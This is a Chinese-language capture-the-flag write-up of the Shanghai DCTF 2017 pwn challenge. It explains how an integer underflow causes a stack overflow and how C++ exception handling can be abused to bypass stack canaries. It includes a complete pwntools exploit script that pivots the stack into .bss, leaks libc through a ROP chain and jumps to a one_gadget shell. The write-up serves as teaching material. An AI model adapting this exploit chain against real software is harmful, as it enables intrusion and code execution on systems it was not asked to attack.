Shanghai-DCTF-2017-pwn

Shanghai-DCTF-2017-pwn

简单分析

简单说一说

程序漏洞不少,但是因为编译时加入的保护措施,导致大多数漏洞无法利用。比赛时一直惯性思维,认为有canary的函数就不会成功利用栈溢出进行攻击。回头才发现一个点,也算是一个比较少见的知识点,可以绕过canary的防护,从而对程序流程进行控制。

程序流程

flex_md5flex_sha256flex_sha1、在test security这个选项中有堆溢出、栈溢出、格式化字符串漏洞

但是格式化字符串漏洞中的格式化串不可控

栈溢出虽然是结构化的写入,但是还是绕不过canary

堆溢出这里是一次溢出无返回,没能找到什么方法能够控制ip

漏洞代码

401148这个函数处,有一个整型下溢


输入的int加1后转为unsigned int

在读取charset时,buf在栈上,因此可以造成栈溢出

没有局部变量可以覆盖,且有canary保护

c++ 异常处理机制 (Modern cpp)

异常抛出

使用throw语句可以在代码块中的任何地方抛出异常。throw语句的操作数决定了异常的类型,可以是任何表达式,表达式结果的类型决定了抛出异常的类型。

异常抓取

try块后面的catch块捕获任何异常。可以指定要捕获的异常类型,并且由关键字catch之后的括号中的异常声明确定。

1
2
3
4
5
try {
// protected code
} catch( ExceptionName e ) {
// code to handle ExceptionName exception
}

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <iostream>
using namespace std;
double division(int a, int b) {
if( b == 0 ) {
throw "Division by zero condition!";
}
return (a/b);
}
int main () {
int x = 50;
int y = 0;
double z = 0;
try {
z = division(x, y);
cout << z << endl;
} catch (const char* msg) {
cerr << msg << endl;
}
return 0;
}

g++进行编译,在main函数处出现了异常抓取模块

division函数处出现了异常抛出模块

关键点

异常抛出后程序会如何执行呢?

异常空间申请

异常抛出

异常抓取

caller(main)中抓取异常

__cxa_begin_catch

异常处理结束

跳转到


函数返回

关键在于,此时的栈从哪里获得?是异常抛出函数division()的栈么,还是main()的栈?
可以看到,这时的栈是main()的栈

但是main()的rbp寄存器从哪里获得?
是在异常抛出函数__cxa_throw()中从division()的栈获得的。

但是,当栈已经发生溢出了呢?
答案是,它不管!

开始日题

整型溢出–>栈溢出–>异常处理–>stack_pivot–>ROP
BUG_401148()异常抛出

flex_md5()异常处理

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
io=process("./pwn")
context.arch = "x86_86"
context.os = "linux"
context.endian = "little"
context.word_size = 64
context.terminal = ['deepin-terminal','-x','sh','-c']
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
io.recvuntil("option:\n")
io.sendline("1")
print io.readline()
io.sendline("No")
io.sendline("yes")
print io.recvuntil("length:")
#gdb.attach(io)
io.sendline('-2')
print io.recvuntil("charset:")
BSS_PIVOT=0x6061C0
payload1=p64(BSS_PIVOT)*37+p64(0x40150D)
#overwrite stack ebp --> stack_pivot
#gdb.attach(io)
#pause()
io.sendline(payload1)
#gdb.attach(io)
#pause()
print io.recvuntil("\n")
puts_plt=0x400BD0
puts_got=0x606020
readn=0x400F1E
pop_rdi=0x4044d3
pop_rsi_r15=0x4044d1
#gdb.attach(io)
payload2 = p64(0)+p64(pop_rdi)+p64(puts_got) + p64(puts_plt) + p64(pop_rdi)+p64(BSS_PIVOT+0x50)+p64(pop_rsi_r15)+p64(1024)+p64(BSS_PIVOT+0x50)+p64(readn)
# puts(put@got) -> readn_0x400f1e( stack_pivot + 0x50, 1024 ) one_gadget_addr to ret -> one_gadget
#write pivot stack
#pause()
io.send(payload2)
io.recvuntil("pattern:\n")
puts=io.recvuntil("\n")[:-1]
puts=puts.ljust(8,"\x00")
puts=u64(puts)
libc_base=puts-libc.symbols['puts']
print "libc_base->",hex(libc_base)
one_gadget=libc_base+0xd691f
payload3=p64(one_gadget)
gdb.attach(io)
pause()
io.send(payload3) #one_gadget_addr send to stack ret
#due to that the exception_handling program is define in func flex_md5_401500, faked ebp_save will be poped to ebp, when exception_handling program finishes, ip will be set to 'leave retn' so we can control ip and stack(stack pivot in bss) than leak and exec.
io.interactive()